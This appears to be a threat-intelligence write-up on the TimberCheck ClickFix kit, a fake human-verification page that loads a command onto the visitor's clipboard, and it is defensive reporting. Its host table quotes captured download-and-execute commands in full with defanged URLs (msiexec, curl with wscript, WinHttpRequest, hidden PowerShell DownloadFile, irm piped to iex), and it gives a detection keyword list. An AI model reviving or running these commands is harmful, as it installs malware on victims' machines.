TimberCheck ClickFix kit

TimberCheck is a localized fake verification kit that carries several command branches in one page design. We have matched it on 70 sites since 10 August.

Research by Kirk

TimberCheck in numbers

Since 10 August, the first TimberCheck match in our records, counted on 12 November 2026. How we count.

Sites with TimberCheck code	70
Sites with a match in the last 30 days	6
New sites in October	52
Still serving it when recaptured at least 25 days later	1 of 5 sites (20%)

Public source code became a family of altered copies

TimberCheck uses lures built from source code published on GitHub by 0x204.

The captured copies retain the application's state, 15-language translation layer, generated Ray and verification IDs, and functions such as initializeVerification, initializeI18n, generateRayId and generateVerificationId. Operators changed the command, language and small parts of the workflow while leaving that core intact.

The checkbox controls the clipboard

The page opens with a fake human check. Selecting its checkbox creates a hidden text area and calls document.execCommand('copy') with the configured command. A document-level copy handler also replaces text copied later with the same command.

The next panel tells the visitor to press Win+R, Ctrl+V and Enter. A French copy presents the same sequence and adds a reCAPTCHA Verification ID. One configuration-driven variant detects the visitor's operating system, selects a Windows or Base64-encoded macOS command and reports to a check.php endpoint before showing its steps. Its Windows instructions use Win+X and then I to open a terminal.

Commands change inside the same application

The variants use these command branches:

Command form	What the visitor is told to run
`cmd /c` with `curl`	Download a VBScript and start it with `wscript`
`WinHttp.WinHttpRequest.5.1`	Build a VBScript that retrieves and runs response text
`msiexec /i`	Install an MSI from a remote address
PowerShell `DownloadFile`	Save a file in Downloads, start it and delete the saved copy
PowerShell `irm` or `iex`	Retrieve a script and run its text

One TimberCheck page arrived inside GuardFrame, a full-screen iframe gate injected into a compromised WordPress site. Other copies were hosted as standalone lure pages.

What we see

Month	New sites
September	14
October	52
November so far	1

Of the 5 sites recaptured at least 25 days after their first match, 1 were still serving TimberCheck (20%).

Finding modified copies

Look for initializeVerification, initializeI18n, generateRayId, generateVerificationId, the .tettx translation selector, a fake verification checkbox and a document-level copy handler. Commands containing msiexec, wscript, WinHttpRequest, DownloadFile or irm distinguish captured branches. Check both standalone pages and full-screen iframes, then remove the surrounding loader and every cached copy.

Hosts its commands download from

TimberCheck lure commands we captured download from 17 hosts. These are the 10 on the most sites.

Host	Sites	Last seen	Latest command
`shift-art[.]com`	14	6 November 2026	Command `msiexec /i hxxps://shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/` URL `hxxps://shift-art[.]com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/` First seen 23 September 2026, 1 URL on this host.
`198[.]13[.]158[.]127`	11	11 October 2026	Decoded URL URL `hxxp://198[.]13[.]158[.]127:5506/dd.vbs` First seen 6 September 2026, 2 URLs on this host.
`ghost[.]nestdns[.]com`	5	11 October 2026	Command `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\Downloads\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('hxxps://ghost[.]nestdns[.]com/files', $y);& $y;Remove-Item $y -Force;"` URL `hxxps://ghost[.]nestdns[.]com/files` First seen 4 October 2026, 1 URL on this host.
`inkbookwriters[.]com`	5	11 October 2026	Command `msiexec /i hxxp://inkbookwriters[.]com/verify /qn` URL `hxxp://inkbookwriters[.]com/verify` First seen 11 October 2026, 1 URL on this host.
`178[.]17[.]59[.]195`	4	11 October 2026	Command `cmd /c "curl -s hxxp://178[.]17[.]59[.]195:5506/ll.vbs -o %temp%\ll.vbs >nul && wscript.exe //B //E:VBScript %temp%\ll.vbs"` URL `hxxp://178[.]17[.]59[.]195:5506/ll.vbs` First seen 20 September 2026, 1 URL on this host.
`95[.]164[.]53[.]115`	3	11 October 2026	Command `cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h[.]Open "GET","hxxp://95[.]164[.]53[.]115:5506/do.vbs",0:h.Send:Execute h.ResponseText > "%temp%do.tmp" && wscript //E:VBScript "%temp%do.tmp"` URL `hxxp://95[.]164[.]53[.]115:5506/do.vbs` First seen 6 September 2026, 1 URL on this host.
`gog-current-cupkey[.]com`	3	30 September 2026	Command `irm gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70 \| iex` URL `hxxp://gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70` First seen 26 September 2026, 1 URL on this host.
`pizzabyte[.]com[.]au`	3	18 October 2026	Command `msiexec /i hxxps://pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha` URL `hxxps://pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha` First seen 22 September 2026, 1 URL on this host.
`178[.]17[.]59[.]40`	2	17 October 2026	Command `cmd /c "curl -s hxxp://178[.]17[.]59[.]40:5506/qk.vbs -o %temp%\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\qk.vbs"` URL `hxxp://178[.]17[.]59[.]40:5506/qk.vbs` First seen 11 October 2026, 1 URL on this host.
`78[.]40[.]209[.]164`	2	11 October 2026	Command `cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h[.]Open "GET","hxxp://78[.]40[.]209[.]164:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%wk.vbs" && "%temp%wk.vbs"` URL `hxxp://78[.]40[.]209[.]164:5506/wk.vbs` First seen 11 October 2026, 1 URL on this host.

The ClickFix command tracker lists every host.